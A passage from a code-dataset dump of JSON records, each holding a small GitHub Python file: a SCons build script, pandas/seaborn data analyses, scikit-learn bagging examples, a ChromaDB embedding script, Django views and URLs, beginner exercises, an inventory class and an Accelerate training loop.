env.Install('$libpath', [libhammer_static])\n\nenv.Install('$incpath', dist_headers)\nenv.Install('$parsersincpath', parsers_headers)\nenv.Install('$backendsincpath', backends_headers)\nenv.Install('$pkgconfigpath', '../../../libhammer.pc')\n\nif GetOption('with_tests'):\n testenv = env.Clone()\n testenv.ParseConfig('pkg-config --cflags --libs glib-2.0')\n if libhammer_shared is not None:\n testenv.Append(LIBS=['hammer'])\n else:\n testenv.Append(LIBS=[static_library_name])\n testenv.Prepend(LIBPATH=['.'])\n ctestexec = testenv.Program('test_suite', ctests + ['test_suite.c'], LINKFLAGS='--coverage' if testenv.GetOption('coverage') else None)\n ctest = Alias('testc', [ctestexec], ''.join(['env LD_LIBRARY_PATH=', os.path.dirname(ctestexec[0].path), ' ', ctestexec[0].path]))\n AlwaysBuild(ctest)\n testruns.append(ctest)\n\nif libhammer_shared is not None:\n Export('libhammer_static libhammer_shared')\nelse:\n Export('libhammer_static')\n\nfor b in env['bindings']:\n env.SConscript(['bindings/%s/SConscript' % b])\n","repo_name":"crcady/hammer","sub_path":"src/SConscript","file_name":"SConscript","file_ext":"","file_size_in_byte":3958,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8357978931","text":"import csv\nimport numpy as np\nimport pandas as pd\nimport re\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom scipy.ndimage.filters import gaussian_filter1d\n\nsns.set_style('darkgrid') # darkgrid, white grid, dark, white and ticks\nplt.rc('axes', titlesize=14) # fontsize of the axes title\nplt.rc('axes', labelsize=10) # fontsize of the x and y labels\nplt.rc('xtick', labelsize=8) # fontsize of the tick labels\nplt.rc('ytick', labelsize=10) # fontsize of the tick labels\nplt.rc('legend', fontsize=12) # legend fontsize\nplt.rc('font', size=12) # controls default text sizes\n\nsad = pd.read_csv('~/Documents/Songaday/songaday.csv')\nmood_scores = pd.read_csv('~/Documents/Songaday/mood_scores.csv')\nmood_sorted = pd.read_csv('~/Documents/Songaday/mood_sorted.csv')\nlocation_grp = pd.read_csv('~/Documents/Songaday/location_grp.csv')\n\nsad2 = pd.DataFrame(sad['length'].str.split(':').tolist(), index= sad.index)\nsad['length'] = pd.to_numeric(sad2[0])*60+pd.to_numeric(sad2[1])\nsad['YTid'] = sad['videoID'].str.replace(r'^(.*)(/)','').str.replace(r'^(.*)(v\\=)','')\nsad_ids = ','.join(sad['YTid'])\n\nif __name__ == \"__main__\":\n results = getYTstats(sad_ids)\n\nids = list()\nviews = list()\nlikes = list()\ncomments = list()\nfor i in list(range(len(results))):\n ids.append( results[i]['id'] )\n views.append( results[i]['statistics']['viewCount'] )\n likes.append( results[i]['statistics']['likeCount'] )\n comments.append( results[i]['statistics']['commentCount'] )\n\n\n\nsad['tempo'] = pd.to_numeric(sad['tempo'],errors='coerce')\nsad['date'] = sad['date'].str.replace('.','/')\nsad2 = pd.DataFrame(sad.date.str.split('/').tolist(), index= sad.index)\nsad['date'] = pd.to_datetime(dict(year=pd.to_numeric(sad2[2]), month=pd.to_numeric(sad2[0]), day=pd.to_numeric(sad2[1]) ))\nsad['yearmonth'] = sad['date'].dt.year.map(str) + \"-\" + ('0'+sad['date'].dt.month.map(str)).str.strip().str[-2:4]\nsad['yearweek'] = sad['date'].dt.strftime('%Y-%U')\nsad['datetimemonth'] = pd.to_datetime(sad['yearmonth'], format='%Y-%m')\nsad = pd.merge(sad,mood_sorted,on='mood',how='left')\nsad = pd.merge(sad,mood_scores,on='mood',how='left')\nsad = pd.merge(sad,location_grp,on='location',how='left')\nsad['mood score'] = sad['score']\n\nsad.to_csv('~/Documents/Songaday/modified.csv')\n\n\n#Average out the numeric number on categorical bar chart\ndef bar_with_categorical_numeric_avg(sad,categorical_x,numeric_param):\n plt.figure(figsize=(16,4), tight_layout=True)\n colors = sns.color_palette('pastel')\n plottable = sad.groupby([categorical_x],as_index=False).agg({'title':'count',numeric_param:'mean'})\n plottable = plottable[plottable['title']>10]\n plt.bar(plottable[categorical_x], plottable[numeric_param], color=colors)\n plt.xlabel(categorical_x.title())\n plt.ylabel('Avg '+numeric_param)\n plt.title(numeric_param.title()+' based on '+categorical_x.title())\n plt.show()\n\n#Bubble graph with two categorical axes and bubble size is occurrence\ndef bubble_with_categorical_mood(sad,categorical_x):\n plt.figure(figsize=(70,5), tight_layout=True)\n colors = sns.color_palette('Set2')\n plottable = sad.groupby([categorical_x,'mood_sorted','mood'],as_index=False).agg({'title':'count'})\n plottable = plottable[plottable['title']>20]\n plottable = plottable.sort_values(by='mood_sorted')\n plottable['title'] *= 3\n x_axis = categorical_x.title()\n plt.scatter(x=categorical_x, y=\"mood\", s=\"title\", data=plottable, color = colors[2])\n plt.xlabel(categorical_x)\n plt.ylabel('Mood')\n plt.title(x_axis+' vs Mood')\n plt.rc('xtick', labelsize=7) # fontsize of the tick labels\n plt.show()\n\n#Line graph where y-axis is numeric and x-axis is yearmonth\ndef line_overtime(sad,numeric_line):\n plt.figure(figsize=(80,7), tight_layout=True)\n colors = sns.color_palette('Set2')\n plottable = sad.groupby(['yearmonth'], as_index=False).mean(numeric_line)\n plottable = plottable[['yearmonth',numeric_line]]\n smoothed = gaussian_filter1d(plottable[numeric_line], sigma=1.5)\n plt.plot(plottable['yearmonth'], smoothed,'ko-',color=colors[0], markersize=4)\n plt.rc('xtick', labelsize=7) # fontsize of the tick labels\n plt.xticks(rotation=90)\n plt.show()\n\n#Line graph where x-axis is categorical\ndef line_with_categorical_x(sad,categorical_x,numeric_line):\n plt.figure(figsize=(70,5), tight_layout=True)\n colors = sns.color_palette('Set2')\n plottable = sad.groupby([categorical_x],as_index=False).agg({'title':'count',numeric_line:'mean'})\n plottable = plottable[plottable['title']>50]\n plottable = plottable.sort_values(by=numeric_line)\n smoothed = gaussian_filter1d(plottable[numeric_line], sigma=1.5)\n plt.plot(plottable[categorical_x], smoothed,'ko-',color=colors[1], markersize=4)\n plt.rc('xtick', labelsize=7) # fontsize of the tick labels\n if numeric_line=='score': y_axis = 'Mood score'\n else: y_axis = numeric_line\n plt.title(y_axis + ' vs ' + categorical_x)\n plt.show()\n\n\nbar_with_categorical_numeric_avg(sad,'mood','tempo')\nbar_with_categorical_numeric_avg(sad,'mood','length')\n\nline_overtime(sad,'tempo')\nline_overtime(sad,'length')\nline_overtime(sad,'mood score')\n\n\n#Mood count over time (line)\nplot_time_mood = sad.groupby(['yearmonth','mood'], as_index=False)['title'].count()\nplot_time_select = plot_time_mood[plot_time_mood['mood'].isin(['Sad','Happy','Angry','Excited'])]\n\ndef assignMood(olddf,moodname):\n newdf = olddf[olddf['mood']==moodname]\n newdf = newdf.rename(columns={'title': moodname})\n newdf = newdf.drop('mood', 1)\n return newdf\n\nplot_time_happy = assignMood(plot_time_mood,'Happy')\nplot_time_sad = assignMood(plot_time_mood,'Sad')\nplot_time_angry = assignMood(plot_time_mood,'Angry')\nplot_time_excited = assignMood(plot_time_mood,'Excited')\nnewdf = pd.merge(plot_time_happy,plot_time_sad,on='yearmonth',how='outer')\nnewdf = pd.merge(newdf,plot_time_angry,on='yearmonth',how='outer')\nnewdf = pd.merge(newdf,plot_time_excited,on='yearmonth',how='outer')\nnewdf = newdf.sort_values(by='yearmonth')\nnewdf = newdf.fillna(0)\nnewdf['HappyExcited'] = newdf['Happy']+newdf['Excited']\nnewdf['SadAngry'] = newdf['Sad']+newdf['Angry']\nHE_smoothed = gaussian_filter1d(newdf['HappyExcited'], sigma=1.5)\nSA_smoothed = gaussian_filter1d(newdf['SadAngry'], sigma=1.5)\n\nplt.figure(figsize=(80,6), tight_layout=True)\ncolors = sns.color_palette('pastel')\nline0 = plt.plot(newdf['yearmonth'], HE_smoothed,'ko-',label='Happy+Excited', color = colors[2], markersize=4)\nline1 = plt.plot(newdf['yearmonth'], SA_smoothed,'ro-',label='Sad+Angry', color = colors[3], markersize=4)\nplt.xticks(rotation=90)\nplt.xlabel('Month')\nplt.ylabel('# of times')\nplt.title('Mood per month')\nplt.legend(loc=\"upper left\")\nplt.show()\n\n#Bubble graph for all\nplt.figure(figsize=(80,6), tight_layout=True)\ncolors = sns.color_palette('Set2')\nplot_time_score = sad.groupby(['yearmonth','mood'], as_index=False)['title'].count()\nplot_time_score['title'] *= 30\nplt.scatter(x=\"yearmonth\", y=\"mood\", s=\"title\", data=plot_time_score, color = colors[0])\nplt.rc('xtick', labelsize=7) # fontsize of the tick labels\nplt.xticks(rotation=90)\nplt.show()\n\n#Moods over categories\nbubble_with_categorical_mood(sad,'main instrument')\nbubble_with_categorical_mood(sad,'location')\n\n#Bubble graph for select /// NOT SAVED\nplt.figure(figsize=(80,5), tight_layout=True)\ncolors = sns.color_palette('pastel')\nplot_time_moodcount = sad.groupby(['yearmonth','mood'], as_index=False)['title'].count()\nplot_time_moodcount = plot_time_moodcount[plot_time_moodcount['mood'].isin(['Happy','Excited','Angry','Sad'])]\nplot_time_moodcount['title'] *= 40\nplt.scatter(x=\"yearmonth\", y=\"mood\", s=\"title\", data=plot_time_moodcount)\nplt.rc('xtick', labelsize=7) # fontsize of the tick labels\nplt.xticks(rotation=90)\nplt.show()\n\n#Mood score over categories\nline_with_categorical_x(sad,'location','score')\nline_with_categorical_x(sad,'location_grp','score')\nline_with_categorical_x(sad,'main instrument','score')\nline_with_categorical_x(sad,'main style','score')\nline_with_categorical_x(sad,'topic','score')\nline_with_categorical_x(sad,'inKey','score')\nline_with_categorical_x(sad,'topic','length')\nline_with_categorical_x(sad,'main instrument','length')\n\n\n\nnumeric_line = 'mood score'\nplottable = sad.groupby(['yearmonth'], as_index=False).mean('mood score')\nplottable = plottable[['yearmonth',numeric_line]]\nsmoothed1 = gaussian_filter1d(plottable[numeric_line], sigma=1.5)\n\n\nplottable = sad.groupby(['yearmonth'],as_index=False).agg({'title':'count','mood score':'mean','tempo':'mean'})\nsmoothed1 = gaussian_filter1d(plottable['mood score'], sigma=1.5)\nsmoothed2 = gaussian_filter1d(plottable['tempo'], sigma=1.5)\n\ncolors = sns.color_palette('Set2')\nfig, ax = plt.subplots(figsize=(12,5))\nax2 = ax.twinx()\nax.plot(plottable['yearmonth'], smoothed1,'ko-',color=colors[0], markersize=4)\nax2.plot(plottable['yearmonth'], smoothed2,'ko-',color=colors[1], markersize=4)\nplt.show()\n\n\n\nplt.xlabel(categorical_x)\nplt.ylabel('Mood')\nplt.title(x_axis+' vs Mood')\nplt.rc('xtick', labelsize=7) # fontsize of the tick labels\n","repo_name":"chainleft/Songaday","sub_path":"songaday.py","file_name":"songaday.py","file_ext":"py","file_size_in_byte":8987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25971703339","text":"from sklearn.ensemble import BaggingClassifier\r\n\r\n# Bagged KNN\r\nmodel = BaggingClassifier(base_estimator=KNeighborsClassifier(\r\n n_neighbors=3), random_state=0, n_estimators=700)\r\nmodel.fit(train_X, train_Y)\r\nprediction = model.predict(test_X)\r\nprint('The accuracy for bagged KNN is:',\r\n metrics.accuracy_score(prediction, test_Y))\r\nresult = cross_val_score(model, X, Y, cv=10, scoring='accuracy')\r\nprint('The cross validated score for bagged KNN is:', result.mean())\r\n\r\n# Bagged DecisionTree\r\nmodel = BaggingClassifier(\r\n base_estimator=DecisionTreeClassifier(), random_state=0, n_estimators=100)\r\nmodel.fit(train_X, train_Y)\r\nprediction = model.predict(test_X)\r\nprint('The accuracy for bagged Decision Tree is:',\r\n metrics.accuracy_score(prediction, test_Y))\r\nresult = cross_val_score(model, X, Y, cv=10, scoring='accuracy')\r\nprint('The cross validated score for bagged Decision Tree is:', result.mean())\r\n","repo_name":"kmsk99/data_science_toolbar","sub_path":"modeling/machine_learning/ensembling/bagging.py","file_name":"bagging.py","file_ext":"py","file_size_in_byte":924,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13550036539","text":"'''\r\n11b. Python and DataScience \r\n a) Load the ‘Student Performance’ dataset into one of the data structures (NumPy or Pandas).\r\n\tb)Display header rows and description of the loaded dataset.\r\n\tc) Remove unnecessary features (E.g. drop unwanted columns) from the dataset such as ‘lunch’ and ‘test preparation course’ .\r\n\td) Manipulate data by replacing empty column values in ‘parental level of education’ with a default value.\r\n\te) Perform the following visualization on the loaded dataset: Tally of the Number of Male & Female students who took up the ‘test preparation course’ and those who did not. \r\n'''\r\n\r\nimport pandas as pd\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\n\r\ndata=pd.read_excel(\"StudentsPerformance.xlsx\")\r\n\r\nprint(data.head())\r\nprint(data.describe())\r\nprint(data.info(verbose=True))\r\naxis=sns.countplot(x='gender',hue=\"test preparation course\",data=data)\r\nplt.show()\r\ndata.drop([\"lunch\",\"test preparation course\"],inplace=True,axis=1)\r\nprint(list(data.columns))\r\ndata[\"parental level of education\"]=data[\"parental level of education\"].fillna('NONE')\r\nprint(data[\"parental level of education\"])\r\n\r\n\r\n\r\n\r\n","repo_name":"KritikaChoudhary/Scripting-Languages-Lab","sub_path":"SEE/11b.py","file_name":"11b.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"71630085546","text":"from math import ceil\n\ndef merge(array, start, mid, end):\n\tif not (end < len(array)):\n\t\treturn\n\taux = array.copy()\n\tj, left, right = start, start, mid\n\t\n\t# Merge the two arrays until overflow one of them\n\twhile left < mid and right <= end:\n\t\tif aux[left] > aux[right]:\n\t\t\tarray[j] = aux[right]\n\t\t\tright += 1\n\t\telif aux[left] <= aux[right]:\n\t\t\tarray[j] = aux[left]\n\t\t\tleft += 1\n\t\tj += 1\n\t# Copy the rest of left array in case of right array overflow\n\twhile left < mid:\n\t\tarray[j] = aux[left]\n\t\tleft = left + 1\n\t\tj += 1\n\t# Copy the rest of right array in case of left array overflow\n\twhile right <= end:\n\t\tarray[j] = aux[right]\n\t\tright += 1\n\t\tj += 1\n\ndef merge_sort(array):\n\tstart = 0\n\tend = len(array) - 1\n\n\tdef _merge_sort(array, start, end):\n\t\tmid = ceil((end + start)/2)\n\t\tif (start < end):\n\t\t\t_merge_sort(array, start, mid - 1)\n\t\t\t_merge_sort(array, mid, end)\n\t\t\tmerge(array, start, mid, end)\n\n\t_merge_sort(array, start, end)\n\ndef merge_sort_i(array):\t\n\tblock = 1\n\tarraySize = len(array)\n\twhile block < arraySize:\n\t\tmid = block\n\t\tstart = 0\n\t\tend = mid + block - 1\n\t\twhile mid < arraySize:\n\t\t\tmerge(array, start, mid, min(end, arraySize - 1))\n\t\t\tstart = end + 1\n\t\t\tmid = end + block + 1\n\t\t\tend = mid + block - 1\n\t\tblock *= 2 \n\ndef is_sorted(array):\n\t'''\n\tReturn true if the given array is sorted ascending\n\ttype array: list\n\trype: boolean\n\t'''\n\tminElement = float(\"-inf\")\n\tfor element in array:\n\t\tif minElement > element:\n\t\t\treturn False\t\n\t\tminElement = element\n\treturn True\n\nif __name__ == '__main__':\n\tfrom random import sample\n\n\tfor s in range(1,11):\n\t\tprint('Merge Sort random test -', s)\t\t\n\t\tarr = sample(range(100), 10)\n\t\tprint(arr, \" is sorted? \", is_sorted(arr))\n\t\tmerge_sort_i(arr)\n\t\tprint(arr, \" is sorted? \", is_sorted(arr))\n\t\tprint('\\n')","repo_name":"gedhean/data-structures","sub_path":"algorithms/sorting/merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":1752,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"37058807336","text":"#!/usr/bin/env python3\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nnp.random.seed(5)\nstudent_grades = np.random.normal(68, 15, 50)\n\n# Plot data\nbins = [0, 10, 20, 30, 40, 50, 60, 70, 80, 90, 100]\nplt.hist(student_grades, bins=bins, edgecolor='black')\n\n# Create labels\nplt.xlabel('Grades')\nplt.ylabel('Number of Students')\nplt.title('Project A')\n\n# Format\nplt.xlim(0, 100)\nplt.xticks(ticks=bins)\nplt.ylim(0, 30)\n\nplt.show()\n","repo_name":"kyle-gross/holbertonschool-machine_learning","sub_path":"math/0x01-plotting/4-frequency.py","file_name":"4-frequency.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22588337008","text":"# This file embeds the answers and saved it in a csv file which acts as a vector database (one can use Pinecone, chromadb etc.)\n\nimport read_data as rd\nimport chromadb\nfrom chromadb.utils import embedding_functions\n\nquestions, answers, q_ids = rd.get_all_questions_answers()\n\n# It is important to have persistent client for future retrievals\nchroma_client = chromadb.PersistentClient('q_a')\n\nsentence_transformer_ef = embedding_functions.SentenceTransformerEmbeddingFunction(model_name=\"all-MiniLM-L6-v2\")\n\ncollection = chroma_client.create_collection(name=\"embed_data_new\")\nq_ids = list(map(str, q_ids))\n\ncollection.add(\n documents = answers,\n embeddings = sentence_transformer_ef(answers),\n ids = q_ids\n)\n\n\n\n","repo_name":"ju7stritesh/PromptSystemArchitecture","sub_path":"embed_answers_chromadb.py","file_name":"embed_answers_chromadb.py","file_ext":"py","file_size_in_byte":713,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24253242632","text":"from django.conf.urls import url, include\nfrom django.urls import reverse_lazy\nfrom django.views.generic import CreateView\nfrom django.views.generic import DeleteView\nfrom django.views.generic import DetailView\nfrom django.views.generic import UpdateView\n\nfrom django.contrib.auth import views\nfrom projects.filters import ThesisInfoFilter, MeetingInfoFilter, NoticeFilter\nfrom projects.form import ThesisInfoAddForm, MeetingInfoAddForm, NoticeAddForm\nfrom .models import ThesisInfo, MeetingInfo,Notice\nfrom .views import *\n\napp_name = 'projects'\n\nurlpatterns = [\n url(r'^login/$', login,\n {'template_name': 'projects/myuser/login.html'},name='userLogin'),\n url(r'^logout/$', views.logout, {'template_name': 'projects/myuser/login.html'}, name='logout'),\n\n url(r'^index$', indexView, name='index'),\n\n #thesisInfo\n url(r'^thesisInfoList$',\n ThesisInfoListView.as_view(model=ThesisInfo, filterset_class=ThesisInfoFilter, template_name='projects/thesisInfo/list.html',\n paginate_by=7),name='thesisInfoList'),\n url(r'^thesisInfoAdd$',add, name='thesisInfoAdd'),\n url(r'^thesisInfo/(?P[0-9]+)/$', DetailView.as_view(model=ThesisInfo, template_name='projects/thesisInfo/detail.html'),\n name='thesisInfoDetail'),\n url(r'^(?P[0-9]+)/updatethesisInfo$', UpdateView.as_view(model=ThesisInfo, form_class=ThesisInfoAddForm,\n template_name='projects/thesisInfo/update.html',\n success_url=reverse_lazy('projects:thesisInfoList')),\n name='thesisInfoUpdate'),\n url(r'^(?P[0-9]+)/updatethesisInfo$', UpdateView.as_view(model=ThesisInfo, form_class=ThesisInfoAddForm,\n template_name='projects/thesisInfo/update.html',\n success_url=reverse_lazy('projects:thesisInfoList')),\n name='thesisInfoReview'),\n url(r'^(?P[0-9]+)/updatethesisInfo$', UpdateView.as_view(model=ThesisInfo, form_class=ThesisInfoAddForm,\n template_name='projects/thesisInfo/update.html',\n success_url=reverse_lazy('projects:thesisInfoList')),\n name='thesisInfoCheck'),\n url(r'^(?P[0-9]+)/deletethesisInfo$',\n DeleteView.as_view(model=ThesisInfo, success_url=reverse_lazy('projects:thesisInfoList')), name='thesisInfoDelete'),\n #meetingInfo\n url(r'^meetingInfoList$',\n MeetingInfoListView.as_view(model=MeetingInfo, filterset_class=MeetingInfoFilter,\n template_name='projects/meetingInfo/list.html',\n paginate_by=7), name='meetingInfoList'),\n url(r'^meetingInfoAdd$',\n CreateView.as_view(model=MeetingInfo, template_name='projects/meetingInfo/add.html',\n form_class=MeetingInfoAddForm,\n success_url=reverse_lazy('projects:meetingInfoList')), name='meetingInfoAdd'),\n url(r'^meetingInfo/(?P[0-9]+)/$',\n DetailView.as_view(model=MeetingInfo, template_name='projects/meetingInfo/detail.html'),\n name='meetingInfoDetail'),\n url(r'^(?P[0-9]+)/updatemeetingInfo$', UpdateView.as_view(model=MeetingInfo, form_class=MeetingInfoAddForm,\n template_name='projects/meetingInfo/update.html',\n success_url=reverse_lazy('projects:meetingInfoList')),\n name='meetingInfoUpdate'),\n url(r'^(?P[0-9]+)/deletemeetingInfo$',\n DeleteView.as_view(model=MeetingInfo, success_url=reverse_lazy('projects:meetingInfoList')),\n name='meetingInfoDelete'),\n #notice\n url(r'^noticeList$',\n NoticeListView.as_view(model=Notice, filterset_class= NoticeFilter,\n template_name='projects/notice/list.html',\n paginate_by=7), name='noticeList'),\n url(r'^noticeAdd$',\n CreateView.as_view(model=Notice, template_name='projects/notice/add.html',\n form_class=NoticeAddForm,\n success_url=reverse_lazy('projects:noticeList')), name='noticeAdd'),\n url(r'^notice/(?P[0-9]+)/$',\n DetailView.as_view(model=Notice, template_name='projects/notice/detail.html'),\n name='meetingInfoDetail'),\n url(r'^(?P[0-9]+)/updatenotice$', UpdateView.as_view(model=Notice, form_class=NoticeAddForm,\n template_name='projects/notice/update.html',\n success_url=reverse_lazy('projects:noticeList')),\n name='noticeUpdate'),\n url(r'^(?P[0-9]+)/deletenotice$',\n DeleteView.as_view(model=Notice, success_url=reverse_lazy('projects:noticeList')),\n name='noticeDelete'),\n]\n","repo_name":"iakisme/academic","sub_path":"projects/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":5117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"19659795877","text":"\nfrom django.shortcuts import render,redirect\nfrom .forms import profileform, UsercreateForm, userupdateform\nfrom django.contrib import messages\nfrom django.contrib.auth import login,authenticate\nfrom django.views.generic import CreateView\nfrom django import forms\nfrom django.contrib.auth.models import User\nfrom django.core.exceptions import ValidationError\n# Create your views here.\n\n\n\n\ndef profilepage(request):\n if request.method==\"POST\":\n user_form= userupdateform(request.POST,instance=request.user)\n profile_form=profileform(request.POST,request.FILES,instance=request.user.profile)\n if user_form.is_valid() and profile_form.is_valid():\n user_form.save()\n profile_form.save() \n messages.success(request,f'Profile created successfully!!')\n return render(request,'home.html')\n else:\n user_form=userupdateform(instance=request.user)\n profile_form=profileform(instance=request.user.profile)\n messages.error(request, f'There seems to be an error in the form')\n \n return render(request,'profile.html', {'form':user_form,'p_form':profile_form}) \n\ndef accountsetting(request):\n if request.method==\"POST\":\n form=userupdateform(request.POST,instance=request.user)\n profile_form=profileform(request.POST,request.FILES)\n if form.is_valid() and profile_form.is_valid():\n form.save()\n profile_form.save()\n return redirect('destination')\n else:\n form=userupdateform()\n profile_form=profileform()\n return render(request, 'preferencesinfo.html',{'f':form,'p':profile_form}) \n\n\n\ndef registerpage(request):\n if request.method==\"POST\":\n user_form=UsercreateForm(request.POST)\n \n\n if user_form.is_valid() :\n user_form.save()\n u_name = user_form.cleaned_data.get('username')\n messages.success(request,f'Account created successfully for {u_name} !!')\n return redirect('login')\n\n \n \n\n \n \n\n else:\n user_form=UsercreateForm() \n return render(request,'registeruser.html',{'form':user_form}) \n\n","repo_name":"DipinMainali/hamroproject","sub_path":"registration/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33022989583","text":"print(\"Welcome to the rollercoaster!\")\n\nheight = int(input(\"What is your height in cm? \"))\nage = int(input(\"What is your age? \"))\nbill = 0\n\nif height >= 120:\n if age < 12:\n bill = 5\n elif age <= 18:\n bill = 7\n else:\n bill = 12\n \n wants_photo = input(\"Do you want a photo taken? yes or no: \")\n if wants_photo == \"yes\":\n bill += 3\n \n print(f\"Your bill is {bill}\")\nelse:\n print(\"You can't ride the rollercoaster!\")\n","repo_name":"itsmeshibintmz/100-Days-of-Code-Mastering-Python","sub_path":"day-4/multiple-if-statements/rollercoaster-exercise-2.py","file_name":"rollercoaster-exercise-2.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"34836345483","text":"from validations.decorators import get_atributes\n\n\nclass Products:\n _products_db = {}\n def __init__(self, **kwargs):\n if len(kwargs) > 0:\n self.__id = self.get_id\n self.__name = kwargs.get('name')\n self.__cantidity = kwargs.get('cantidity')\n self.__unit_price = kwargs.get('unit_price')\n self.__set_atributes\n \n @property\n def get_id(self):\n keys = list(self._products_db.keys())\n keys = 0 if len(keys) == 0 else keys[-1]\n return keys + 1\n \n @get_atributes\n def get_atributes(self, data: dict):\n return data\n \n @property\n def __set_atributes(self):\n data = self.get_atributes(self).copy()\n id = data.get('id')\n data.pop('id')\n self._products_db[id] = data\n print(f\"El id para {data.get('name')} es {id}\")\n \n @property\n def get_db_products(self):\n print(f\"\\n{'id': ^4}|{'nombre': ^30}|{'cantidad': ^10}|{'precio unitario': ^15}\")\n if not(len(self._products_db) > 0):\n print('No existe ningun producto aún\\n')\n return None\n for keys, values in self._products_db.items():\n dato = lambda key: values.get(key)\n print(f\"{keys: <4}|{dato('name')[:30]: <30}|{str(dato('cantidity'))[:15]: <10}|{str(dato('unit_price'))[:15]: <15}\")\n else:\n print(\"\\n\")\n \n def change_atributes(self, id, *args):\n for i in args:\n if self._products_db.get(id) == None:\n print('Ese producto no existe')\n return None\n elif self._products_db.get(id).get(i) == None:\n print(f'Usted no tiene el dato \"{i}\"')\n continue\n new_value = input(f\"Digite el nuevo dato para {i}: \")\n try:\n if i == 'cantidity' and int(new_value) < 0:\n print('La cantidad no se permite menor a cero')\n return None\n if i == 'cantidity':\n new_value = int(new_value)\n if i == 'unit_price' and int(new_value) < 0:\n print('La precio no se permite menor a cero')\n return None\n if i == 'unit_price':\n new_value = float(new_value)\n except Exception as e:\n print('Error de formato')\n return None\n self._products_db[id][i] = new_value\n print('Cambio exitoso')\n \n def drop_products_db(self, id):\n if self._products_db.get(id) == None:\n print(f'Ese id no existe')\n return None\n self._products_db.pop(id)\n print('Se elimino exitosamente')\n \n def request_id(self, id):\n return id in list(self._products_db.keys())\n \n def list_all_data(self):\n return self._products_db","repo_name":"ArturoDeveloment/Management_products","sub_path":"controllers/Productos.py","file_name":"Productos.py","file_ext":"py","file_size_in_byte":2887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25491212914","text":"import torch\nfrom accelerate import Accelerator\nfrom tqdm.autonotebook import tqdm\nfrom transformers import get_linear_schedule_with_warmup, get_constant_schedule_with_warmup\n\n\ndef collate_fn(tknz):\n def func(batch):\n x,y = [i[0] for i in batch], [i[1] for i in batch]\n \n encoding = tknz(x,padding=\"longest\",max_length=256,truncation=True,return_tensors=\"pt\")\n input_ids, attention_mask = encoding.input_ids, encoding.attention_mask\n target_encoding = tknz(y,padding=\"longest\",max_length=256,truncation=True,return_tensors=\"pt\")\n labels = target_encoding.input_ids\n labels[labels == tknz.pad_token_id] = -100\n return dict(input_ids=input_ids, attention_mask=attention_mask, labels=labels, text=(x,y))\n return func\n\n\n\n\ndef train(model, tokenizer, train_loader, test_loader=None, epoch=1, fp16=True, lr=1e-5, warmup=0.1, pbar=True, update_every=1):\n\n accelerator = Accelerator(gradient_accumulation_steps=update_every, mixed_precision='fp16' if fp16 else 'no')\n\n optimizer = torch.optim.AdamW(model.parameters(), lr=lr)\n model, optimizer, train_loader, test_loader = accelerator.prepare(model, optimizer, train_loader, test_loader)\n schedule = get_linear_schedule_with_warmup(optimizer, num_warmup_steps=int(warmup*epoch*len(train_loader)//update_every),\n num_training_steps=epoch*len(train_loader)//update_every)\n\n\n for ep in range(epoch):\n model.train()\n for batch_idx, input_info in enumerate(tqdm(train_loader) if pbar else train_loader):\n with accelerator.accumulate(model):\n loss = model(input_ids=input_info['input_ids'], attention_mask=input_info['attention_mask'], labels=input_info['labels']).loss\n accelerator.backward(loss)\n optimizer.step()\n optimizer.zero_grad()\n if warmup is not None and not accelerator.optimizer_step_was_skipped and batch_idx % update_every == 0:\n schedule.step()\n if batch_idx % 100 == 0:\n print(f'Epoch: {ep+1}/{epoch}, Batch: {batch_idx}/{len(train_loader)}, Loss: {loss.item()*update_every:.4f}')\n \n if test_loader is not None:\n model.eval()\n total_loss = 0\n total = 0\n with torch.no_grad():\n for batch_idx, input_info in enumerate(tqdm(test_loader) if pbar else test_loader):\n loss = model(input_ids=input_info['input_ids'], attention_mask=input_info['attention_mask'], labels=input_info['labels']).loss\n total_loss += loss.item()*input_info['input_ids'].shape[0]\n total += input_info['input_ids'].shape[0]\n print(f'Epoch: {ep+1}/{epoch}, Test Loss: {total_loss/total:.4f}')\n for input_info in test_loader:\n outputs = model.generate(input_info['input_ids'], attention_mask=input_info['attention_mask'], max_length=256, num_beams=4, early_stopping=True)\n for input_id, pred, target in zip(input_info['input_ids'], outputs, input_info['text'][1]):\n print(f'Input: {tokenizer.decode(input_id, skip_special_tokens=True)}\\nPred: {tokenizer.decode(pred, skip_special_tokens=True)}\\nTarget: {target}\\n')\n break\n break\n \n\n\n","repo_name":"chenyn66/fol_pretrain","sub_path":"src/training.py","file_name":"training.py","file_ext":"py","file_size_in_byte":3364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30354818994","text":"import matplotlib.pyplot as plt\r\nfrom ltp import LTP\r\nimport numpy as np\r\nimport pandas as pd\r\nimport json\r\n\r\nclass centext_ltp():\r\n def __init__(self,sents):\r\n '''\r\n 自然语言处理类,用于实现各自然语言处理技术。\r\n :param sents: 输出句子\r\n '''\r\n self.ltp = LTP(path='pretrained_model') # 默认加载 Small 模型\r\n self.sents = sents\r\n def __len__(self):\r\n # 